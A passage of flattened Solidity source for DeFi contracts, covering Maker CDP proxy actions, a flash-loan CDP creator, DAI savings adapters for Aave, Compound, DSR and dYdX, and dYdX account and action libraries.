DaiJoinLike(apt).dai().approve(apt, wad); // Joins DAI into the vat DaiJoinLike(apt).join(urn, wad); } } contract MCDCreateProxyActions is Common { // Internal functions function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "sub-overflow"); } function toInt(uint256 x) internal pure returns (int256 y) { y = int256(x); require(y >= 0, "int-overflow"); } function toRad(uint256 wad) internal pure returns (uint256 rad) { rad = mul(wad, 10**27); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function // Adapters will automatically handle the difference of precision wad = mul(amt, 10**(18 - GemJoinLike(gemJoin).dec())); } function _getDrawDart(address vat, address jug, address urn, bytes32 ilk, uint256 wad) internal returns (int256 dart) { // Updates stability fee rate uint256 rate = JugLike(jug).drip(ilk); // Gets DAI balance of the urn in the vat uint256 dai = VatLike(vat).dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < mul(wad, RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = toInt(sub(mul(wad, RAY), dai) / rate); // This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = mul(uint256(dart), rate) < mul(wad, RAY) ? dart + 1 : dart; } } function _getWipeDart(address vat, uint256 dai, address urn, bytes32 ilk) internal view returns (int256 dart) { // Gets actual rate from the vat (, uint256 rate, , , ) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint256 art) = VatLike(vat).urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = toInt(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint256(dart) <= art ? -dart : -toInt(art); } function _getWipeAllWad(address vat, address usr, address urn, bytes32 ilk) internal view returns (uint256 wad) { // Gets actual rate from the vat (, uint256 rate, , , ) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint256 art) = VatLike(vat).urns(ilk, urn); // Gets actual dai amount in the urn uint256 dai = VatLike(vat).dai(usr); uint256 rad = sub(mul(art, rate), dai); wad = rad / RAY; // If the rad precision has some dust, it will need to request for 1 extra wad wei wad = mul(wad, RAY) < rad ? wad + 1 : wad; } // Public functions function transfer(address gem, address dst, uint256 wad) public { GemLike(gem).transfer(dst, wad); } // solhint-disable-next-line func-name-mixedcase function ethJoin_join(address apt, address urn) public payable { // Wraps ETH in WETH GemJoinLike(apt).gem().deposit{value: msg.value}(); // Approves adapter to take the WETH amount GemJoinLike(apt).gem().approve(address(apt), msg.value); // Joins WETH collateral into the vat GemJoinLike(apt).join(urn, msg.value); } // solhint-disable-next-line func-name-mixedcase function gemJoin_join(address apt, address urn, uint256 wad, bool transferFrom) public { // Only executes for tokens that have approval/transferFrom implementation if (transferFrom) { // Gets token from the user's wallet GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the token amount GemJoinLike(apt).gem().approve(apt, 0); GemJoinLike(apt).gem().approve(apt, wad); } // Joins token collateral into the vat GemJoinLike(apt).join(urn, wad); } function hope(address obj, address usr) public { HopeLike(obj).hope(usr); } function nope(address obj, address usr) public { HopeLike(obj).nope(usr); } function open(address manager, bytes32 ilk, address usr) public returns (uint256 cdp) { cdp = ManagerLike(manager).open(ilk, usr); } function give(address manager, uint256 cdp, address usr) public { ManagerLike(manager).give(cdp, usr); } function move(address manager, uint256 cdp, address dst, uint256 rad) public { ManagerLike(manager).move(cdp, dst, rad); } function frob(address manager, uint256 cdp, int256 dink, int256 dart) public { ManagerLike(manager).frob(cdp, dink, dart); } function lockETH(address manager, address ethJoin, uint256 cdp) public payable { // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, address(this)); // Locks WETH amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(msg.value), 0 ); } function lockGem(address manager, address gemJoin, uint256 cdp, uint256 wad, bool transferFrom) public { // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, address(this), wad, transferFrom); // Locks token amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(convertTo18(gemJoin, wad)), 0 ); } function draw(address manager, address jug, address daiJoin, uint256 cdp, uint256 wad) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Generates debt in the CDP frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wad)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wad); } function lockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, uint256 cdp, uint256 wadD ) public payable { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, urn); // Locks WETH amount into the CDP and generates debt frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint256 wadD, address owner ) public payable returns (uint256 cdp) { cdp = open(manager, ilk, address(this)); lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD); give(manager, cdp, owner); } function lockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, uint256 cdp, uint256 wadC, uint256 wadD, bool transferFrom ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, urn, wadC, transferFrom); // Locks token amount into the CDP and generates debt frob( manager, cdp, toInt(convertTo18(gemJoin, wadC)), _getDrawDart(vat, jug, urn, ilk, wadD) ); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint256 wadC, uint256 wadD, bool transferFrom, address owner ) public returns (uint256 cdp) { cdp = open(manager, ilk, address(this)); lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, wadC, wadD, transferFrom); give(manager, cdp, owner); } } contract MCDCreateTaker { using SafeERC20 for ERC20; address payable public constant MCD_CREATE_FLASH_LOAN = 0x78aF7A2Ee6C2240c748aDdc42aBc9A693559dcaF; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); struct CreateData { uint collAmount; uint daiAmount; address joinAddr; } function openWithLoan( DFSExchangeData.ExchangeData memory _exchangeData, CreateData memory _createData ) public payable { MCD_CREATE_FLASH_LOAN.transfer(msg.value); //0x fee if (!isEthJoinAddr(_createData.joinAddr)) { ERC20(getCollateralAddr(_createData.joinAddr)).safeTransferFrom(msg.sender, address(this), _createData.collAmount); ERC20(getCollateralAddr(_createData.joinAddr)).safeTransfer(MCD_CREATE_FLASH_LOAN, _createData.collAmount); } bytes memory packedData = _packData(_createData, _exchangeData); bytes memory paramsData = abi.encode(address(this), packedData); lendingPool.flashLoan(MCD_CREATE_FLASH_LOAN, DAI_ADDRESS, _createData.daiAmount, paramsData); logger.Log(address(this), msg.sender, "MCDCreate", abi.encode(manager.last(address(this)), _createData.collAmount, _createData.daiAmount)); } function getCollateralAddr(address _joinAddr) internal view returns (address) { return address(Join(_joinAddr).gem()); } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false; // if coll is weth it's and eth type coll if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { return true; } return false; } function _packData( CreateData memory _createData, DFSExchangeData.ExchangeData memory _exchangeData ) internal pure returns (bytes memory) { return abi.encode(_createData, _exchangeData); } } contract MCDSaverProxyHelper is DSMath { /// @notice Returns a normalized debt _amount based on the current rate /// @param _amount Amount of dai to be normalized /// @param _rate Current rate of the stability fee /// @param _daiVatBalance Balance od Dai in the Vat for that CDP function normalizeDrawAmount(uint _amount, uint _rate, uint _daiVatBalance) internal pure returns (int dart) { if (_daiVatBalance < mul(_amount, RAY)) { dart = toPositiveInt(sub(mul(_amount, RAY), _daiVatBalance) / _rate); dart = mul(uint(dart), _rate) < mul(_amount, RAY) ? dart + 1 : dart; } } /// @notice Converts a number to Rad percision /// @param _wad The input number in wad percision function toRad(uint _wad) internal pure returns (uint) { return mul(_wad, 10 ** 27); } /// @notice Converts a number to 18 decimal percision /// @param _joinAddr Join address of the collateral /// @param _amount Number to be converted function convertTo18(address _joinAddr, uint256 _amount) internal view returns (uint256) { return mul(_amount, 10 ** (18 - Join(_joinAddr).dec())); } /// @notice Converts a uint to int and checks if positive /// @param _x Number to be converted function toPositiveInt(uint _x) internal pure returns (int y) { y = int(_x); require(y >= 0, "int-overflow"); } /// @notice Gets Dai amount in Vat which can be added to Cdp /// @param _vat Address of Vat contract /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function normalizePaybackAmount(address _vat, address _urn, bytes32 _ilk) internal view returns (int amount) { uint dai = Vat(_vat).dai(_urn); (, uint rate,,,) = Vat(_vat).ilks(_ilk); (, uint art) = Vat(_vat).urns(_ilk, _urn); amount = toPositiveInt(dai / rate); amount = uint(amount) <= art ? - amount : - toPositiveInt(art); } /// @notice Gets the whole debt of the CDP /// @param _vat Address of Vat contract /// @param _usr Address of the Dai holder /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function getAllDebt(address _vat, address _usr, address _urn, bytes32 _ilk) internal view returns (uint daiAmount) { (, uint rate,,,) = Vat(_vat).ilks(_ilk); (, uint art) = Vat(_vat).urns(_ilk, _urn); uint dai = Vat(_vat).dai(_usr); uint rad = sub(mul(art, rate), dai); daiAmount = rad / RAY; daiAmount = mul(daiAmount, RAY) < rad ? daiAmount + 1 : daiAmount; } /// @notice Gets the token address from the Join contract /// @param _joinAddr Address of the Join contract function getCollateralAddr(address _joinAddr) internal view returns (address) { return address(Join(_joinAddr).gem()); } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false; // if coll is weth it's and eth type coll if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { return true; } return false; } /// @notice Gets CDP info (collateral, debt) /// @param _manager Manager contract /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(Manager _manager, uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address vat = _manager.vat(); address urn = _manager.urns(_cdpId); (uint collateral, uint debt) = Vat(vat).urns(_ilk, urn); (,uint rate,,,) = Vat(vat).ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Address that owns the DSProxy that owns the CDP /// @param _manager Manager contract /// @param _cdpId Id of the CDP function getOwner(Manager _manager, uint _cdpId) public view returns (address) { DSProxy proxy = DSProxy(uint160(_manager.owns(_cdpId))); return proxy.owner(); } } abstract contract ProtocolInterface { function deposit(address _user, uint256 _amount) public virtual; function withdraw(address _user, uint256 _amount) public virtual; } contract SavingsLogger { event Deposit(address indexed sender, uint8 protocol, uint256 amount); event Withdraw(address indexed sender, uint8 protocol, uint256 amount); event Swap(address indexed sender, uint8 fromProtocol, uint8 toProtocol, uint256 amount); function logDeposit(address _sender, uint8 _protocol, uint256 _amount) external { emit Deposit(_sender, _protocol, _amount); } function logWithdraw(address _sender, uint8 _protocol, uint256 _amount) external { emit Withdraw(_sender, _protocol, _amount); } function logSwap(address _sender, uint8 _protocolFrom, uint8 _protocolTo, uint256 _amount) external { emit Swap(_sender, _protocolFrom, _protocolTo, _amount); } } contract AaveSavingsProtocol is ProtocolInterface, DSAuth { address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d; address public constant AAVE_LENDING_POOL = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119; address public constant AAVE_LENDING_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; function deposit(address _user, uint _amount) public override { require(msg.sender == _user); // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); ERC20(DAI_ADDRESS).approve(AAVE_LENDING_POOL_CORE, uint(-1)); ILendingPool(AAVE_LENDING_POOL).deposit(DAI_ADDRESS, _amount, 0); ERC20(ADAI_ADDRESS).transfer(_user, ERC20(ADAI_ADDRESS).balanceOf(address(this))); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); require(ERC20(ADAI_ADDRESS).transferFrom(_user, address(this), _amount)); IAToken(ADAI_ADDRESS).redeem(_amount); // return dai we have to user ERC20(DAI_ADDRESS).transfer(_user, _amount); } } contract CompoundSavingsProtocol { address public constant NEW_CDAI_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; CTokenInterface public constant cDaiContract = CTokenInterface(NEW_CDAI_ADDRESS); function compDeposit(address _user, uint _amount) internal { // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); // mainnet only ERC20(DAI_ADDRESS).approve(NEW_CDAI_ADDRESS, uint(-1)); // mint cDai require(cDaiContract.mint(_amount) == 0, "Failed Mint"); } function compWithdraw(address _user, uint _amount) internal { // transfer all users balance to this contract require(cDaiContract.transferFrom(_user, address(this), ERC20(NEW_CDAI_ADDRESS).balanceOf(_user))); // approve cDai to compound contract cDaiContract.approve(NEW_CDAI_ADDRESS, uint(-1)); // get dai from cDai contract require(cDaiContract.redeemUnderlying(_amount) == 0, "Reedem Failed"); // return to user balance we didn't spend uint cDaiBalance = cDaiContract.balanceOf(address(this)); if (cDaiBalance > 0) { cDaiContract.transfer(_user, cDaiBalance); } // return dai we have to user ERC20(DAI_ADDRESS).transfer(_user, _amount); } } abstract contract VatLike { function can(address, address) virtual public view returns (uint); function ilks(bytes32) virtual public view returns (uint, uint, uint, uint, uint); function dai(address) virtual public view returns (uint); function urns(bytes32, address) virtual public view returns (uint, uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; } abstract contract PotLike { function pie(address) virtual public view returns (uint); function drip() virtual public returns (uint); function join(uint) virtual public; function exit(uint) virtual public; } abstract contract GemLike { function approve(address, uint) virtual public; function transfer(address, uint) virtual public; function transferFrom(address, address, uint) virtual public; function deposit() virtual public payable; function withdraw(uint) virtual public; } abstract contract DaiJoinLike { function vat() virtual public returns (VatLike); function dai() virtual public returns (GemLike); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } contract DSRSavingsProtocol is DSMath { // Mainnet address public constant POT_ADDRESS = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; function dsrDeposit(uint _amount, bool _fromUser) internal { VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat(); uint chi = PotLike(POT_ADDRESS).drip(); daiJoin_join(DAI_JOIN_ADDRESS, address(this), _amount, _fromUser); if (vat.can(address(this), address(POT_ADDRESS)) == 0) { vat.hope(POT_ADDRESS); } PotLike(POT_ADDRESS).join(mul(_amount, RAY) / chi); } function dsrWithdraw(uint _amount, bool _toUser) internal { VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat(); uint chi = PotLike(POT_ADDRESS).drip(); uint pie = mul(_amount, RAY) / chi; PotLike(POT_ADDRESS).exit(pie); uint balance = DaiJoinLike(DAI_JOIN_ADDRESS).vat().dai(address(this)); if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) { vat.hope(DAI_JOIN_ADDRESS); } address to; if (_toUser) { to = msg.sender; } else { to = address(this); } if (_amount == uint(-1)) { DaiJoinLike(DAI_JOIN_ADDRESS).exit(to, mul(chi, pie) / RAY); } else { DaiJoinLike(DAI_JOIN_ADDRESS).exit( to, balance >= mul(_amount, RAY) ? _amount : balance / RAY ); } } function daiJoin_join(address apt, address urn, uint wad, bool _fromUser) internal { if (_fromUser) { DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); } DaiJoinLike(apt).dai().approve(apt, wad); DaiJoinLike(apt).join(urn, wad); } } contract DydxSavingsProtocol is ProtocolInterface, DSAuth { address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; ISoloMargin public soloMargin; address public savingsProxy; uint daiMarketId = 3; constructor() public { soloMargin = ISoloMargin(SOLO_MARGIN_ADDRESS); } function addSavingsProxy(address _savingsProxy) public auth { savingsProxy = _savingsProxy; } function deposit(address _user, uint _amount) public override { require(msg.sender == _user); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = getAccount(_user, 0); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); Types.AssetAmount memory amount = Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: _amount }); actions[0] = Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: amount, primaryMarketId: daiMarketId, otherAddress: _user, secondaryMarketId: 0, //not used otherAccountId: 0, //not used data: "" //not used }); soloMargin.operate(accounts, actions); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = getAccount(_user, 0); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); Types.AssetAmount memory amount = Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: _amount }); actions[0] = Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: amount, primaryMarketId: daiMarketId, otherAddress: _user, secondaryMarketId: 0, //not used otherAccountId: 0, //not used data: "" //not used }); soloMargin.operate(accounts, actions); } function getWeiBalance(address _user, uint _index) public view returns(Types.Wei memory) { Types.Wei[] memory weiBalances; (,,weiBalances) = soloMargin.getAccountBalances(getAccount(_user, _index)); return weiBalances[daiMarketId]; } function getParBalance(address _user, uint _index) public view returns(Types.Par memory) { Types.Par[] memory parBalances; (,parBalances,) = soloMargin.getAccountBalances(getAccount(_user, _index)); return parBalances[daiMarketId]; } function getAccount(address _user, uint _index) public pure returns(Account.Info memory) { Account.Info memory account = Account.Info({ owner: _user, number: _index }); return account; } } abstract contract ISoloMargin { struct OperatorArg { address operator; bool trusted; } function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public virtual; function getAccountBalances( Account.Info memory account ) public view virtual returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function setOperators( OperatorArg[] memory args ) public virtual; function getNumMarkets() public view virtual returns (uint256); function getMarketTokenAddress(uint256 marketId) public view virtual returns (address); } library Account { // ============ Enums ============ /* * Most-recently-cached account status. * * Normal: Can only be liquidated if the account values are violating the global margin-ratio. * Liquid: Can be liquidated no matter the account values. * Can be vaporized if there are no more positive account values. * Vapor: Has only negative (or zeroed) account values. Can be vaporized. * */ enum Status { Normal, Liquid, Vapor } // ============ Structs ============ // Represents the unique key that specifies an account struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } // The complete storage for any account struct Storage { mapping (uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } // ============ Library Functions ============ function equals( Info memory a, Info memory b ) internal pure returns (bool) { return a.owner == b.owner && a.number == b.number; } } library Actions { // ============ Constants ============ bytes32 constant FILE = "Actions"; // ============ Enums ============ enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (externally) Sell, // sell an amount of some token (externally) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout { OnePrimary, TwoPrimary, PrimaryAndSecondary } enum MarketLayout { ZeroMarkets, OneMarket, TwoMarkets } // ============ Structs ============ /* * Arguments that are passed to Solo in an ordered list as part of a single operation. * Each ActionArgs has an actionType which specifies which action struct that this data will be * parsed into before being processed. */ struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } // ============ Action Types ============ /* * Moves tokens from an address to Solo. Can either repay a borrow or provide additional supply. */ struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } /* * Moves tokens from Solo to another address. Can either borrow tokens or reduce the amount * previously supplied. */ struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } /* * Transfers balance between two accounts. The msg.sender must be an operator for both accounts. * The amount field applies to accountOne. * This action does not require any token movement since the trade is done internally to Solo. */ struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } /* * Acquires a certain amount of tokens by spending other tokens. Sends takerMarket tokens to the * specified exchangeWrapper contract and expects makerMarket tokens in return. The amount field * applies to the makerMarket. */ struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } /* * Spends a certain amount of tokens to acquire other tokens. Sends takerMarket tokens to the * specified exchangeWrapper and expects makerMarket tokens in return. The amount field applies * to the takerMarket. */ struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } /* * Trades balances between two accounts using any external contract that implements the * AutoTrader interface. The AutoTrader contract must be an operator for the makerAccount (for * which it is trading on-behalf-of). The amount field applies to the makerAccount and the * inputMarket. This proposed change to the makerAccount is passed to the AutoTrader which will * quote a change for the makerAccount in the outputMarket (or will disallow the trade). * This action does not require any token movement since the trade is done internally to Solo. */ struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } /* * Each account must maintain a certain margin-ratio (specified globally). If the account falls * below this margin-ratio, it can be liquidated by any other account. This allows anyone else * (arbitrageurs) to repay any borrowed asset (owedMarket) of the liquidating account in * exchange for any collateral asset (heldMarket) of the liquidAccount. The ratio is determined * by the price ratio (given by the oracles) plus a spread (specified globally). Liquidating an * account also sets a flag on the account that the account is being liquidated. This allows * anyone to continue liquidating the account until there are no more borrows being taken by the * liquidating account. Liquidators do not have to liquidate the entire account all at once but * can liquidate as much as they choose. The liquidating flag allows liquidators to continue * liquidating the account even if it becomes collateralized through partial liquidation or * price movement. */ struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } /* * Similar to liquidate, but vaporAccounts are accounts that have only negative balances * remaining. The arbitrageur pays back the negative asset (owedMarket) of the vaporAccount in * exchange for a collateral asset (heldMarket) at a favorable spread. However, since the * liquidAccount has no collateral assets, the collateral must come from Solo's excess tokens. */ struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } /* * Passes arbitrary bytes of data to an external contract that implements the Callee interface. * Does not change any asset amounts. This function may be useful for setting certain variables * on layer-two contracts for certain accounts without having to make a separate Ethereum * transaction for doing so. Also, the second-layer contracts can ensure that the call is coming * from an operator of the particular account. */ struct CallArgs { Account.Info account; address callee; bytes data; } // ============ Helper Functions ============ function getMarketLayout( ActionType actionType ) internal pure returns (MarketLayout) { if ( actionType == Actions.ActionType.Deposit || actionType == Actions.ActionType.Withdraw || actionType == Actions.ActionType.Transfer ) { return MarketLayout.OneMarket; } else if (actionType == Actions.ActionType.Call) { return MarketLayout.ZeroMarkets; } return MarketLayout.TwoMarkets; } function getAccountLayout( ActionType actionType ) internal pure returns (AccountLayout) { if ( actionType == Actions.ActionType.Transfer || actionType == Actions.ActionType.Trade ) { return AccountLayout.TwoPrimary; } else if ( actionType == Actions.ActionType.Liquidate || actionType == Actions.ActionType.Vaporize ) { return AccountLayout.PrimaryAndSecondary; } return AccountLayout.OnePrimary; } // ============ Parsing Functions ============ function parseDepositArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (DepositArgs memory) { assert(args.actionType == ActionType.Deposit); return DepositArgs({ amount: args.amount, account: accounts[args.accountId], market: args.primaryMarketId, from: args.otherAddress }); } function parseWithdrawArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (WithdrawArgs memory) { assert(args.actionType == ActionType.Withdraw); return WithdrawArgs({ amount: args.amount, account: accounts[args.accountId], market: args.primaryMarketId, to: args.otherAddress }); } function parseTransferArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (TransferArgs memory) { assert(args.actionType == ActionType.Transfer); return TransferArgs({ amount: args.amount, accountOne: accounts[args.accountId], accountTwo: accounts[args.otherAccountId], market: args.primaryMarketId }); } function parseBuyArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (BuyArgs memory) { assert(args.actionType == ActionType.Buy); return BuyArgs({ amount: args.amount, account: accounts[args.accountId], makerMarket: args.primaryMarketId, takerMarket: args.secondaryMarketId, exchangeWrapper: args.otherAddress, orderData: args.data }); } function parseSellArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (SellArgs memory) { assert(args.actionType == ActionType.Sell); return SellArgs({ amount: args.amount, account: accounts[args.accountId], takerMarket: args.primaryMarketId, makerMarket: args.secondaryMarketId, exchangeWrapper: args.otherAddress, orderData: args.data }); } function parseTradeArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (TradeArgs memory) { assert(args.actionType == ActionType.Trade); return TradeArgs({ amount: args.amount, takerAccount: accounts[args.accountId], makerAccount: accounts[args.otherAccountId], inputMarket: args.primaryMarketId, outputMarket: args.secondaryMarketId, autoTrader: args.otherAddress, tradeData: args.data }); } function parseLiquidateArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (LiquidateArgs memory) { assert(args.actionType == ActionType.Liquidate); return LiquidateArgs({ amount: args.amount, solidAccount: accounts[args.accountId], liquidAccount: accounts[args.otherAccountId], owedMarket: args.primaryMarketId, heldMarket: args.secondaryMarketId }); } function parseVaporizeArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (VaporizeArgs memory) { assert(args.actionType == ActionType.Vaporize); return VaporizeArgs({ amount: args.amount, solidAccount: accounts[args.accountId], vaporAccount: accounts[args.otherAccountId], owedMarket: args.primaryMarketId, heldMarket: args.secondaryMarketId }); } function parseCallArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (CallArgs memory) { assert(args.actionType == ActionType.Call); return CallArgs({ account: accounts[args.accountId], callee: args.otherAddress, data: args.data }); } } library Math { using SafeMath for uint256; // ============ Constants ============ bytes32 constant FILE = "Math"; // ============ Library Functions ============ /* * Return target * (numerator / denominator). */ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { return target.mul(numerator).div(denominator); } /* * Return target * (numerator / denominator), but rounded up. */ function getPartialRoundUp( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (target == 0 || numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return target.mul(numerator).sub(1).div(denominator).add(1); } function to128( uint256 number ) internal pure returns (uint128) { uint128 result = uint128(number); Require.that( result == number, FILE, "Unsafe cast to uint128" ); return result; } function to96( uint256 number ) internal pure returns (uint96) { uint96 result = uint96(number); Require.that( result == number, FILE, "Unsafe cast to uint96" ); return result; } function to32( uint256 number ) internal pure returns (uint32) { uint32 result = uint32(number); Require.that( result == number, FILE, "Unsafe cast to uint32" ); return result; } function min( uint256 a, uint256 b ) internal pure returns (uint256) { return a < b ? a : b; } function max( uint256 a, uint256 b ) internal pure returns (uint256) { return a > b ? a : b; } } library Require { // ============ Constants ============ uint256 constant ASCII_ZERO = 48; // '0' uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10 uint256 constant ASCII_LOWER_EX = 120; // 'x' bytes2 constant COLON = 0x3a20; // ': ' bytes2 constant COMMA = 0x2c20; // ', ' bytes2 constant LPAREN = 0x203c; // ' <' byte constant RPAREN = 